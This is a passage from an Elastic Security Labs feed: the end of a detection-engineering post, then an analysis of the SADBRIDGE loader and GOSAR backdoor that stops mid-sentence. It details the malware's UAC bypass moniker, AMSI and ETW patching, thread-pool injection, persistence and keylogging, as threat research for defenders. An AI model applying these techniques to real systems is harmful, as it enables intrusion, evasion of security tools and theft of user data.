<h2>Additional Considerations</h2> <p>We’re continuing to explore creative ways to improve our detection engineering tradecraft. By integrating BOFs with Elastic’s Detonate Service and leveraging the Elastic Security Assistant, we’re able to streamline testing. This approach is designed to identify potential detection gaps and enable detection strategies.</p> <p>A key challenge for legacy SIEMs in detecting Beacon Object Files (BOFs) is their reliance on Windows Event Logging, which often fails to capture memory-only execution, reflective injection, or direct syscalls. Many BOF techniques are designed to bypass traditional logging, avoiding file creation and interactions with the Windows API. As a result, security solutions that rely solely on event logs are insufficient for detecting these sophisticated techniques. To effectively detect such threats, organizations need more advanced EDRs, like Elastic Defend, that offer visibility into injection methods, memory manipulation, system calls, process hollowing, and other evasive tactics.</p> <p>Developing a fully supported BOF experimentation and research pipeline requires <em>substantial</em> effort to cover the dependencies of each technique. For example:</p> <ul> <li>Lateral Movement: Requires additional test nodes</li> <li>Data Exfiltration: Requires network communication connectivity</li> <li>Complex BOFs: May require extra dependencies, precondition arguments, and multistep executions prior to running the BOF. These additional steps are typically commands organized in the C2 Framework (e.g. <code>.cna</code> sleep script)</li> </ul> <p>Elastic, at its core, is open. This research illustrates this philosophy, and collaboration with the open-source community is an important way we support evolving detection engineering requirements. We are committed to refining our methodologies and sharing our lessons learned to strengthen the collective defense of enterprises. We’re more capable together.</p> <p>We’re always interested in hearing about new use cases or workflows, so reach out to us via <a href="https://github.com/elastic/detection-rules/issues">GitHub issues</a>, chat with us in our <a href="http://ela.st/slack">community Slack</a>, and ask questions in our <a href="https://discuss.elastic.co/c/security/endpoint-security/80">Discuss forums</a>. Learn more about detection engineering the Elastic way using the <a href="https://www.elastic.co/security-labs/elastic-releases-debmm">DEBMM</a>. You can see the technology we leverage for this research and more by checking out <a href="https://www.elastic.co/security">Elastic Security</a>.</p> <p><em>The release and timing of any features or functionality described in this post remain at Elastic's sole discretion. Any features or functionality not currently available may not be delivered on time or at all.</em></p> ]]></content:encoded> <enclosure url="https://www.elastic.co/security-labs/assets/images/detonating-beacons-to-illuminate-detection-gaps/Security Labs Images 31.jpg" length="0" type="image/jpg"/> </item> <item> <title><![CDATA[Under the SADBRIDGE with GOSAR: QUASAR Gets a Golang Rewrite]]></title> <link>https://www.elastic.co/security-labs/under-the-sadbridge-with-gosar</link> <guid>under-the-sadbridge-with-gosar</guid> <pubDate>Fri, 13 Dec 2024 00:00:00 GMT</pubDate> <description><![CDATA[Elastic Security Labs share details about the SADBRIDGE loader and GOSAR backdoor, malware used in campaigns targeting Chinese-speaking victims.]]></description> <content:encoded><![CDATA[<h2>Introduction</h2> <p>Elastic Security Labs recently observed a new intrusion set targeting Chinese-speaking regions, tracked as REF3864. These organized campaigns target victims by masquerading as legitimate software such as web browsers or social media messaging services. The threat group behind these campaigns shows a moderate degree of versatility in delivering malware across multiple platforms such as Linux, Windows, and Android. During this investigation, our team discovered a unique Windows infection chain with a custom loader we call SADBRIDGE. This loader deploys a Golang-based reimplementation of QUASAR, which we refer to as GOSAR. This is our team’s first time observing a rewrite of QUASAR in the Golang programming language.</p> <h3>Key takeaways</h3> <ul> <li>Ongoing campaigns targeting Chinese language speakers with malicious installers masquerading as legitimate software like Telegram and the Opera web browser</li> <li>Infection chains employ injection and DLL side-loading using a custom loader (SADBRIDGE)</li> <li>SADBRIDGE deploys a newly-discovered variant of the QUASAR backdoor written in Golang (GOSAR)</li> <li>GOSAR is a multi-functional backdoor under active development with incomplete features and iterations of improved features observed over time</li> <li>Elastic Security provides comprehensive prevention and detection capabilities against this attack chain</li> </ul> <h2>REF3864 Campaign Overview</h2> <p>In November, the Elastic Security Labs team observed a unique infection chain when detonating several different samples uploaded to VirusTotal. These different samples were hosted via landing pages masquerading as legitimate software such as Telegram or the Opera GX browser.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/under-the-sadbridge-with-gosar/image32.png" alt="Fake Telegram landing page" /></p> <p>During this investigation, we uncovered multiple infection chains involving similar techniques:</p> <ul> <li>Trojanized MSI installers with low detections</li> <li>Masquerading using legitimate software bundled with malicious DLLs</li> <li>Custom SADBRIDGE loader deployed</li> <li>Final stage GOSAR loaded</li> </ul> <p>We believe these campaigns have flown under the radar due to multiple levels of abstraction. Typically, the first phase involves opening an archive file (ZIP) that includes an MSI installer. Legitimate software like the Windows <code>x64dbg.exe</code> debugging application is used behind-the-scenes to load a malicious, patched DLL (<code>x64bridge.dll</code>). This DLL kicks off a new legitimate program (<code>MonitoringHost.exe</code>) where it side-loads another malicious DLL (<code>HealthServiceRuntime.dll</code>), ultimately performing injection and loading the GOSAR implant in memory via injection.</p> <p>Malware researchers extracted SADBRIDGE configurations that reveal adversary-designated campaign dates, and indicate operations with similar TTP’s have been ongoing since at least December 2023. The command-and-control (C2) infrastructure for GOSAR often masquerades under trusted services or software to appear benign and conform to victim expectations for software installers. Throughout the execution chain, there is a focus centered around enumerating Chinese AV products such as <code>360tray.exe</code>, along with firewall rule names and descriptions in Chinese. Due to these customizations we believe this threat is geared towards targeting Chinese language speakers. Additionally, extensive usage of Chinese language logging indicates the attackers are also Chinese language speakers.</p> <p>QUASAR has previously been used in state-sponsored espionage, non-state hacktivism, and criminal financially motivated attacks since 2017 (Qualys, <a href="https://www.qualys.com/docs/whitepapers/qualys-wp-stealthy-quasar-evolving-to-lead-the-rat-race-v220727.pdf?_ga=2.196384556.1458236792.1733495919-74841447.1733495919">Evolution of Quasar RAT</a>), including by China-linked <a href="https://www.fbi.gov/wanted/cyber/apt-10-group">APT10</a>. A rewrite in Golang might capitalize on institutional knowledge gained over this period, allowing for additional capabilities without extensive retraining of previously effective TTPs.</p> <p>GOSAR extends QUASAR with additional information-gathering capabilities, multi-OS support, and improved evasion against anti-virus products and malware classifiers. However, the generic lure websites, and lack of additional targeting information, or actions on the objective, leave us with insufficient evidence to identify attacker motivation(s).</p> <p><img src="https://www.elastic.co/security-labs/assets/images/under-the-sadbridge-with-gosar/image14.png" alt="SADBRIDGE Execution Chain resulting in GOSAR infection" /></p> <h2>SADBRIDGE Introduction</h2> <p>The SADBRIDGE malware loader is packaged as an MSI executable for delivery and uses DLL side-loading with various injection techniques to execute malicious payloads. SADBRIDGE abuses legitimate applications such as <code>x64dbg.exe</code> and <code>MonitoringHost.exe</code> to load malicious DLLs like <code>x64bridge.dll</code> and <code>HealthServiceRuntime.dll</code>, which leads to subsequent stages and shellcodes.</p> <p>Persistence is achieved through service creation and registry modifications. Privilege escalation to Administrator occurs silently using a <a href="https://github.com/0xlane/BypassUAC">UAC bypass technique</a> that abuses the <code>ICMLuaUtil</code> COM interface. In addition, SADBRIDGE incorporates a <a href="https://github.com/zcgonvh/TaskSchedulerMisc">privilege escalation bypass</a> through Windows Task Scheduler to execute its main payload with SYSTEM level privileges.</p> <p>The SADBRIDGE configuration is encrypted using a simple subtraction of <code>0x1</code> on each byte of the configuration string. The encrypted stages are all appended with a <code>.log</code> extension, and decrypted during runtime using XOR and the LZNT1 decompression algorithm.</p> <p>SADBRIDGE employs <a href="https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/">PoolParty</a>, APC queues, and token manipulation techniques for process injection. To avoid sandbox analysis, it uses long <code>Sleep</code> API calls. Another defense evasion technique involves API patching to disable Windows security mechanisms such as the Antimalware Scan Interface (AMSI) and Event Tracing for Windows (ETW).</p> <p>The following deep dive is structured to explore the execution chain, providing a step-by-step walkthrough of the capabilities and functionalities of significant files and stages, based on the configuration of the analyzed sample. The analysis aims to highlight the interaction between each component and their roles in reaching the final payload.</p> <h2>SADBRIDGE Code Analysis</h2> <h4>MSI Analysis</h4> <p>The initial files are packaged in an MSI using <a href="https://www.advancedinstaller.com/">Advanced Installer</a>, the main files of interest are <code>x64dbg.exe</code> and <code>x64bridge.dll</code>.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/under-the-sadbridge-with-gosar/image20.png" alt="Significant files inside the MSI installer" /></p> <p>By using MSI tooling (<a href="https://github.com/activescott/lessmsi">lessmsi</a>), we can see the <code>LaunchApp</code> entrypoint in <code>aicustact.dll</code> is configured to execute the file path specified in the <code>AI_APP_FILE</code> property.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/under-the-sadbridge-with-gosar/image1.png" alt="Custom actions configured using Advanced Installer" /></p> <p>If we navigate to this <code>AI_APP_FILE</code> property, we can see the file tied to this configuration is <code>x64dbg.exe</code>. This represents the file that will be executed after the installation is completed, the legitimate <code>NetFxRepairTool.exe</code> is never executed.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/under-the-sadbridge-with-gosar/image31.png" alt="AI_APP_FILE property configured to launch x64dbg.exe" /></p> <h4>x64bridge.dll Side-loading</h4> <p>When <code>x64dbg.exe</code> gets executed, it calls the <code>BridgeInit</code> export from <code>x64bridge.dll</code>. <code>BridgeInit</code> is a wrapper for the <code>BridgeStart</code> function.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/under-the-sadbridge-with-gosar/image30.png" alt="Control flow diagram showing call to BridgeStart" /></p> <p>Similar to techniques observed with <a href="https://www.elastic.co/security-labs/blister-loader">BLISTER</a>, SADBRIDGE patches the export of a legitimate DLL.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/under-the-sadbridge-with-gosar/image7.png" alt="Comparison of BridgeStart export from x64bridge.dll" /></p> <p>During the malware initialization routine, SADBRIDGE begins with generating a hash using the hostname and a magic seed <code>0x4E67C6A7</code>. This hash is used as a directory name for storing the encrypted configuration file. The encrypted configuration is written to <code>C:\Users\Public\Documents\<hostname_hash>\edbtmp.log</code>. This file contains the attributes FILE_ATTRIBUTE_SYSTEM, FILE_ATTRIBUTE_READONLY, FILE_ATTRIBUTE_HIDDEN to hide itself from an ordinary directory listing.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/under-the-sadbridge-with-gosar/image8.png" alt="Configuration file hidden from users" /></p> <p>Decrypting the configuration is straightforward, the encrypted chunks are separated with null bytes. For each byte within the encrypted chunks, we can increment them by <code>0x1</code>.</p> <p>The configuration consists of:</p> <ul> <li>Possible campaign date</li> <li>Strings to be used for creating services</li> <li>New name for MonitoringHost.exe (<code>DevQueryBroker.exe</code>)</li> <li>DLL name for the DLL to be sideloaded by MonitoringHost.exe (<code>HealthServiceRuntime.dll</code>)</li> <li>Absolute paths for additional stages (<code>.log</code> files)</li> <li>The primary injection target for hosting GOSAR (<code>svchost.exe</code>)</li> </ul> <p><img src="https://www.elastic.co/security-labs/assets/images/under-the-sadbridge-with-gosar/image27.png" alt="SADBRIDGE configuration" /></p> <p>The <code>DevQueryBroker</code> directory (<code>C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker\</code>) contains all of the encrypted stages (<code>.log</code> files) that are decrypted at runtime. The file (<code>DevQueryBroker.exe</code>) is a renamed copy of Microsoft legitimate application (<code>MonitoringHost.exe</code>).</p> <p><img src="https://www.elastic.co/security-labs/assets/images/under-the-sadbridge-with-gosar/image18.png" alt="File listing of the DevQueryBroker folder" /></p> <p>Finally, it creates a process to run <code>DevQueryBroker.exe</code> which side-loads the malicious <code>HealthServiceRuntime.dll</code> in the same folder.</p> <h4>HealthServiceRuntime.dll</h4> <p>This module drops both an encrypted and partially decrypted shellcode in the User’s <code>%TEMP%</code> directory. The file name for the shellcode follows the format: <code>log<random_string>.tmp</code>. Each byte of the partially decrypted shellcode is then decremented by <code>0x10</code> to fully decrypt. The shellcode is executed in a new thread of the same process.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/under-the-sadbridge-with-gosar/image10.png" alt="Decryption of a shellcode in HealthServiceRuntime.dll" /></p> <p>The malware leverages API hashing using the same algorithm in <a href="https://www.sonicwall.com/blog/project-androm-backdoor-trojan">research</a> published by SonicWall, the hashing algorithm is listed in the Appendix <a href="#appendix">section</a>. The shellcode decrypts <code>DevQueryBroker.log</code> into a PE file then performs a simple XOR operation with a single byte (<code>0x42)</code> in the first third of the file where then it decompresses the result using the LZNT1 algorithm.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/under-the-sadbridge-with-gosar/image3.png" alt="Shellcode decrypting DevQueryBroker.log file" /></p> <p>The shellcode then unmaps any existing mappings at the PE file's preferred base address using <code>NtUnmapViewOfSection</code>, ensuring that a call to <code>VirtualAlloc</code> will allocate memory starting at the preferred base address. Finally, it maps the decrypted PE file to this allocated memory and transfers execution to its entry point. All shellcodes identified and executed by SADBRIDGE share an identical code structure, differing only in the specific <code>.log</code> files they reference for decryption and execution.</p> <h4>DevQueryBroker.log</h4> <p>The malware dynamically loads <code>amsi.dll</code> to disable critical security mechanisms in Windows. It patches <code>AmsiScanBuffer</code> in <code>amsi.dll</code> by inserting instructions to modify the return value to <code>0x80070057</code>, the standardized Microsoft error code <code>E_INVALIDARG</code> indicating invalid arguments, and returning prematurely, to effectively bypass the scanning logic. Similarly, it patches <code>AmsiOpenSession</code> to always return the same error code <code>E_INVALIDARG</code>. Additionally, it patches <code>EtwEventWrite</code> in <code>ntdll.dll</code>, replacing the first instruction with a <code>ret</code> instruction to disable Event Tracing for Windows (ETW), suppressing any logging of malicious activity.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/under-the-sadbridge-with-gosar/image17.png" alt="Patching AmsiScanBuffer, AmsiOpenSession and EtwEventWrite APIs" /></p> <p>Following the patching, an encrypted shellcode is written to <code>temp.ini</code> at path (<code>C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker\temp.ini</code>).<br /> The malware checks the current process token’s group membership to determine its privilege level. It verifies if the process belongs to the LocalSystem account by initializing a SID with the <code>SECURITY_LOCAL_SYSTEM_RID</code> and calling <code>CheckTokenMembership</code>. If not, it attempts to check for membership in the Administrators group by creating a SID using <code>SECURITY_BUILTIN_DOMAIN_RID</code> and <code>DOMAIN_ALIAS_RID_ADMINS</code> and performing a similar token membership check.</p> <p>If the current process does not have LocalSystem or Administrator privileges, privileges are first elevated to Administrator through a <a href="https://gist.github.com/api0cradle/d4aaef39db0d845627d819b2b6b30512">UAC bypass mechanism</a> by leveraging the <code>ICMLuaUtil</code> COM interface. It crafts a moniker string <code>"Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}"</code> to create an instance of the <code>CMSTPLUA</code> object with Administrator privileges. Once the object is created and the <code>ICMLuaUtil</code> interface is obtained, the malware uses the exposed <code>ShellExec</code> method of the interface to run <code>DevQueryBroker.exe</code>.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/under-the-sadbridge-with-gosar/image11.png" alt="Privilege Escalation via ICMLuaUtil COM interface" /></p> <p>If a task or a service is not created to run <code>DevQueryBroker.exe</code> routinely, the malware checks if the Anti-Virus process <code>360tray.exe</code> is running. If it is not running, a service is created for privilege escalation to SYSTEM, with the following properties:</p> <ul> <li>Service name: <strong>DevQueryBrokerService</strong><br /> Binary path name: <strong>“C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker\DevQueryBroker.exe -svc”</strong>.</li> <li>Display name: <strong>DevQuery Background Discovery Broker Service</strong></li> <li>Description: <strong>Enables apps to discover devices with a background task.</strong></li> <li>Start type: <strong>Automatically at system boot</strong></li> <li>Privileges: <strong>LocalSystem</strong></li> </ul> <p>If <code>360tray.exe</code> is detected running, the malware writes an encrypted PE file to <code>DevQueryBrokerService.log</code>, then maps a next-stage PE file (Stage 1) into the current process memory, transferring execution to it.</p> <p>Once <code>DevQueryBroker.exe</code> is re-triggered with SYSTEM level privileges and reaches this part of the chain, the malware checks the Windows version. For systems running Vista or later (excluding Windows 7), it maps another next-stage (Stage 2) into memory and transfers execution there.</p> <p>On Windows 7, however, it executes a shellcode, which decrypts and runs the <code>DevQueryBrokerPre.log</code> file.</p> <h3>Stage 1 Injection (explorer.exe)</h3> <p>SADBRIDGE utilizes <a href="https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/">PoolParty Variant 7</a> to inject shellcode into <code>explorer.exe</code> by targeting its thread pool’s I/O completion queue. It first duplicates a handle to the target process's I/O completion queue. It then allocates memory within <code>explorer.exe</code> to store the shellcode. Additional memory is allocated to store a crafted <a href="https://github.com/SafeBreach-Labs/PoolParty/blob/77e968b35f4bad74add33ea8a2b0b5ed9543276c/PoolParty/ThreadPool.hpp#L42"><code>TP_DIRECT</code></a> structure, which includes the base address of the shellcode as the callback address. Finally, it calls <code>ZwSetIoCompletion</code>, passing a pointer to the <code>TP_DIRECT</code> structure to queue a packet to the I/O completion queue of the target process's worker factory (worker threads manager), effectively triggering the execution of the injected shellcode.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/under-the-sadbridge-with-gosar/image21.png" alt="I/O Completion Port Shellcode Injection" /></p> <p>This shellcode decrypts the <code>DevQueryBrokerService.log</code> file, unmaps any memory regions occupying its preferred base address, maps the PE file to that address, and then executes its entry point. This behavior mirrors the previously observed shellcode.</p> <h3>Stage 2 Injection (spoolsv.exe/lsass.exe)</h3> <p>For Stage 2, SADBRIDGE injects shellcode into <code>spoolsv.exe</code>, or <code>lsass.exe</code> if <code>spoolsv.exe</code> is unavailable, using the same injection technique as in Stage 1. The shellcode exhibits similar behavior to the earlier stages: it decrypts <code>DevQueryBrokerPre.log</code> into a PE file, unmaps any regions occupying its preferred base address, maps the PE file, and then transfers execution to its entry point.</p> <h4>DevQueryBrokerService.log</h4> <p>The shellcode decrypted from <code>DevQueryBrokerService.log</code> as mentioned in the previous section leverages a privilege escalation technique using the Windows Task Scheduler. SADBRIDGE integrates a public UAC <a href="https://github.com/zcgonvh/TaskSchedulerMisc">bypass technique</a> using the <code>IElevatedFactorySever</code> COM object to indirectly create the scheduled task. This task is configured to run <code>DevQueryBroker.exe</code> on a daily basis with SYSTEM level privileges using the task name <code>DevQueryBrokerService</code>.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/under-the-sadbridge-with-gosar/image9.png" alt="GUID in Scheduled Task Creation (Virtual Factory for MaintenanceUI)" /></p> <p>In order to cover its tracks, the malware spoofs the image path and command-line by modifying the Process Environment Block (PEB) directly, likely in an attempt to disguise the COM service as coming from <code>explorer.exe</code>.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/under-the-sadbridge-with-gosar/image13.png" alt="DevQueryBrokerService.log Spoofed Image Command-Line" /></p> <h4>DevQueryBrokerPre.log</h4> <p>SADBRIDGE creates a service named <code>DevQueryBrokerServiceSvc</code> under the registry subkey <code>SYSTEM\CurrentControlSet\Services\DevQueryBrokerServiceSvc</code> with the following attributes:</p> <ul> <li><strong>Description</strong>: Enables apps to discover devices with a background task.</li> <li><strong>DisplayName</strong>: DevQuery Background Discovery Broker Service</li> <li><strong>ErrorControl</strong>: 1</li> <li><strong>ImagePath</strong>: <code>%systemRoot%\system32\svchost.exe -k netsvcs</code></li> <li><strong>ObjectName</strong>: LocalSystem</li> <li><strong>Start</strong>: 2 (auto-start)</li> <li><strong>Type</strong>: 16.</li> <li><strong>Failure Actions</strong>: <ul> <li>Resets failure count every 24 hours.</li> <li>Executes three restart attempts: a 20ms delay for the first, and a 1-minute delay for the second and third.</li> </ul> </li> </ul> <p>The service parameters specify the <code>ServiceDll</code> located at <code>C:\Program Files (x86)\Common Files\Microsoft Shared\Stationery\<hostname_hash>\DevQueryBrokerService.dll</code>. If the DLL file does not exist, it will be dropped to disk right after.</p> <p><code>DevQueryBrokerService.dll</code> has a similar code structure as <code>HealthServiceRuntime.dll</code>, which is seen in the earlier stages of the execution chain. It is responsible for decrypting <code>DevQueryBroker.log</code> and running it. The <code>ServiceDll</code> will be loaded and executed by <code>svchost.exe</code> when the service starts.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/under-the-sadbridge-with-gosar/image12.png" alt="svchost.exe’s malicious ServiceDLL parameter" /></p> <p>Additionally, it modifies the <code>SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\netsvcs</code> key to include an entry for <code>DevQueryBrokerServiceSvc</code> to integrate the newly created service into the group of services managed by the <code>netsvcs</code> service host group.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/under-the-sadbridge-with-gosar/image19.png" alt="Modifies the netsvc registry key to add DevQueryBrokerServiceSvc" /></p> <p>SADBRIDGE then deletes the scheduled task and service created previously by removing the registry subkeys <code>SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tree\\DevQueryBrokerService</code> and <code>SYSTEM\\CurrentControlSet\\Services\\DevQueryBrokerService</code>.</p> <p>Finally, it removes the files <code>DevQueryBroker.exe</code> and <code>HealthServiceRuntime.dll</code> in the <code>C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker</code> folder, as the new persistence mechanism is in place.</p> <h2>GOSAR Injection</h2> <p>In the latter half of the code, SADBRIDGE enumerates all active sessions on the local machine using the <code>WTSEnumerateSessionsA</code> API.</p> <p>If sessions are found, it iterates through each session:</p> <ul> <li>For each session, it attempts to retrieve the username (<code>WTSUserName</code>) using <code>WTSQuerySessionInformationA</code>. If the query fails, it moves to the next session.</li> <li>If <code>WTSUserName</code> is not empty, the code targets <code>svchost.exe</code>, passing its path, the session ID, and the content of the loader configuration to a subroutine that injects the final stage.</li> <li>If <code>WTSUserName</code> is empty but the session's <code>WinStationName</code> is <code>"Services"</code> (indicating a service session), it targets <code>dllhost.exe</code> instead, passing the same parameters to the final stage injection subroutine.</li> </ul> <p>If no sessions are found, it enters an infinite loop to repeatedly enumerate sessions and invoke the subroutine for injecting the final stage, while performing checks to avoid redundant injections.</p> <p>Logged-in sessions target <code>svchost.exe</code>, while service sessions or sessions without a logged-in user target <code>dllhost.exe</code>.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/under-the-sadbridge-with-gosar/image6.png" alt="Enumeration of active sessions" /></p> <p>If a session ID is available, the code attempts to duplicate the user token for that session and elevate the duplicated token's integrity level to <code>S-1-16-12288</code> (System integrity). It then uses the elevated token to create a child process (<code>svchost.exe</code> or <code>dllhost.exe</code>) via <code>CreateProcessAsUserA</code>.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/under-the-sadbridge-with-gosar/image4.png" alt="Duplication of user token and elevating token privileges" /></p> <p>If token manipulation fails or no session ID is available (system processes can have a session ID of 0), it falls back to creating a process without a token using <code>CreateProcessA</code>.</p> <p>The encrypted shellcode <code>C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker\temp.ini</code> is decrypted using the same XOR and LZNT1 decompression technique seen previously to decrypt <code>.log</code> files, and APC injection is used to queue the shellcode for execution in the newly created process’s thread.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/under-the-sadbridge-with-gosar/image2.png" alt="APC injection to run GOSAR" /></p> <p>Finally, the injected shellcode decrypts <code>DevQueryBrokerCore.log</code> to GOSAR and runs it in the newly created process’s memory.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/under-the-sadbridge-with-gosar/image33.png" alt="GOSAR injected into dllhost.exe and svchost.exe" /></p> <h2>GOSAR Introduction</h2> <p>GOSAR is a multi-functional remote access trojan found targeting Windows and Linux systems. This backdoor includes capabilities such as retrieving system information, taking screenshots, executing commands, keylogging, and much more. The GOSAR backdoor retains much of QUASAR's core functionality and behavior, while incorporating several modifications that differentiate it from the original version.</p> <p>By rewriting malware in modern languages like Go, this can offer reduced detection rates as many antivirus solutions and malware classifiers struggle to identify malicious strings/characteristics under these new programming constructs. Below is a good example of an unpacked GOSAR receiving only 5 detections upon upload.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/under-the-sadbridge-with-gosar/image29.png" alt="Low detection rate on GOSAR VT upload" /></p> <p>Notably, this variant supports multiple platforms, including ELF binaries for Linux systems and traditional PE files for Windows. This cross-platform capability aligns with the adaptability of Go, making it more versatile than the original .NET-based QUASAR. Within the following section, we will focus on highlighting GOSAR’s code structure, new features and additions compared to the open-source version (QUASAR).</p> <h2>GOSAR Code Analysis Overview</h2> <h3>Code structure of GOSAR</h3> <p>As the binary retained all its symbols, we were able to reconstruct the source code structure, which was extracted from a sample of version <code>0.12.01</code></p> <p><img src="https://www.elastic.co/security-labs/assets/images/under-the-sadbridge-with-gosar/image26.png" alt="GOSAR code structure" /></p> <ul> <li><strong>vibrant/config</strong>: Contains the configuration files for the malware.</li> <li><strong>vibrant/proto</strong>: Houses all the Google Protocol Buffers (proto) declarations.</li> <li><strong>vibrant/network</strong>: Includes functions related to networking, such as the main connection loop, proxy handling and also thread to configure the firewall and setting up a listener</li> <li><strong>vibrant/msgs/resolvers</strong>: Defines the commands handled by the malware. These commands are assigned to an object within the <code>vibrant_msgs_init*</code> functions.</li> <li><strong>vibrant/msgs/services</strong>: Introduces new functionality, such as running services like keyloggers, clipboard logger, these services are started in the <code>vibrant_network._ptr_Connection.Start</code> function.</li> <li><strong>vibrant/logs</strong>: Responsible for logging the malware’s execution. The logs are encrypted with an AES key stored in the configuration. The malware decrypts the logs in chunks using AES.</li> <li><strong>vibrant/pkg/helpers</strong>: Contains helper functions used across various malware commands and services.</li> <li><strong>vibrant/pkg/screenshot</strong>: Handles the screenshot capture functionality on the infected system.</li> <li><strong>vibrant/pkg/utils</strong>: Includes utility functions, such as generating random values.</li> <li><strong>vibrant/pkg/native</strong>: Provides functions for calling Windows API (WINAPI) functions.</li> </ul> <h3>New Additions to GOSAR</h3> <h4>Communication and information gathering</h4> <p>This new variant continues to use the same communication method as the original, based on <strong>TCP TLS</strong>. Upon connection, it first sends system information to the C2, with 4 new fields added:</p> <ul> <li>IPAddress</li> <li>AntiVirus</li> <li>ClipboardSettings</li> <li>Wallets</li> </ul> <p>The list of AntiViruses and digital wallets are initialized in the function <code>vibrant_pkg_helpers_init</code> and can be found at the bottom of this document.</p> <h4>Services</h4> <p>The malware handles 3 services that are started during the initial connection of the client to the C2:</p> <ul> <li>vibrant_services_KeyLogger</li> <li>vibrant_services_ClipboardLogger</li> <li>vibrant_services_TickWriteFile</li> </ul> <p><img src="https://www.elastic.co/security-labs/assets/images/under-the-sadbridge-with-gosar/image22.png" alt="GOSAR services" /></p> <h5>KeyLogger</h5> <p>The keylogging functionality in GOSAR is implemented in the <code>vibrant_services_KeyLogger</code> function. This feature relies on Windows APIs to intercept and record keystrokes on the infected system by setting a global Windows hook with <a href="https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowshookexa"><code>SetWindowsHookEx</code></a> with the parameter <code>WH_KEYBOARD_LL</code> to monitor low-level keyboard events. The hook function is named <code>vibrant_services_KeyLogger_func1</code>.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/under-the-sadbridge-with-gosar/image28.png" alt="GOSAR setting the keylogger" /></p> <h5>ClipboardLogger</h5> <p>The clipboard logging functionality is straightforward and relies on Windows APIs. It first checks for the availability of clipboard data using <a href="https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-isclipboardformatavailable"><code>IsClipboardFormatAvailable</code></a> then retrieves it using <a href="https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getclipboarddata"><code>GetClipboardData</code></a> API.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/under-the-sadbridge-with-gosar/image34.png" alt="GOSAR clipboard logging" /></p> <h5>TickWriteFile</h5> <p>Both <code>ClipboardLogger</code> and <code>KeyLogger</code> services collect data that is written by the <code>TickWriteFile</code> periodically to directory (<code>C:\ProgramData\Microsoft\Windows\Start Menu\Programs\diagnostics</code>) under a file of the current date, example <code>2024-11-27</code>.<br /> It can be decrypted by first subtracting the value <code>0x1f</code> then xoring it with the value <code>0x18</code> as shown in the CyberChef recipe.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/under-the-sadbridge-with-gosar/image24.png" alt="CyberChef recipe used to decrypt keylogger logs" /></p> <h4>Networking setup</h4> <p>After initializing its services, the malware spawns <strong>three threads</strong> dedicated to its networking setup.</p> <ul> <li>vibrant_network_ConfigFirewallRule</li> <li>vibrant_network_ConfigHosts</li> <li>vibrant_network_ConfigAutoListener</li> </ul> <p><a href="https://www.elastic.co/security-labs/assets/images/under-the-sadbridge-with-gosar/image15.png">Threads handling networking setup</a></p> <h5>ConfigFirewallRule</h5> <p>The malware creates an inbound firewall rule for the ports range <code>51756-51776</code> under a Chinese name that is translated to <code>Distributed Transaction Coordinator (LAN)</code> it allows all programs and IP addresses inbound the description is set to :<code>Inbound rules for the core transaction manager of the Distributed Transaction Coordinator service are managed remotely through RPC/TCP.</code></p> <p><img src="https://www.elastic.co/security-labs/assets/images/under-the-sadbridge-with-gosar/image23.png" alt="Added firewall rule" /></p> <h5>ConfigHosts</h5> <p>This function adds an entry to <code>c:\Windows\System32\Drivers\etc\hosts</code> the following <code>127.0.0.1 micrornetworks.com</code>. The reason for adding this entry is unclear, but it is likely due to missing functionalities or incomplete features in the malware's current development stage.</p> <h5>ConfigAutoListener</h5> <p>This functionality of the malware runs an HTTP server listener on the first available port within the range <code>51756-51776</code>, which was previously allowed by a firewall rule. Interestingly, the server does not handle any commands, which proves that the malware is still under development. The current version we have only processes a <code>GET</code> request to the URI <code>/security.js</code>, responding with the string <code>callback();</code>, any other request returns a 404 error code. This minimal response could indicate that the server is a placeholder or part of an early development stage, with the potential for more complex functionalities to be added later</p> <p><img src="https://www.elastic.co/security-labs/assets/images/under-the-sadbridge-with-gosar/image5.png" alt="Callback handled by GOSAR" /></p> <h4>Logs</h4> <p>The malware saves its runtime logs in the directory: <code>%APPDATA%\Roaming\Microsoft\Logs</code> under the filename formatted as: <code>windows-update-log-<YearMonthDay>.log</code>.<br /> Each log entry is encrypted with HMAC-AES algorithm; the key is hardcoded in the <code>vibrant_config</code> function, the following is an example:</p> <p><img src="https://www.elastic.co/security-labs/assets/images/under-the-sadbridge-with-gosar/image16.png" alt="Logs example generated by GOSAR" /></p> <p>The attacker can remotely retrieve the malware's runtime logs by issuing the command <code>ResolveGetRunLogs</code>.</p> <h4>Plugins</h4> <p>The malware has the capability to execute plugins, which are PE files 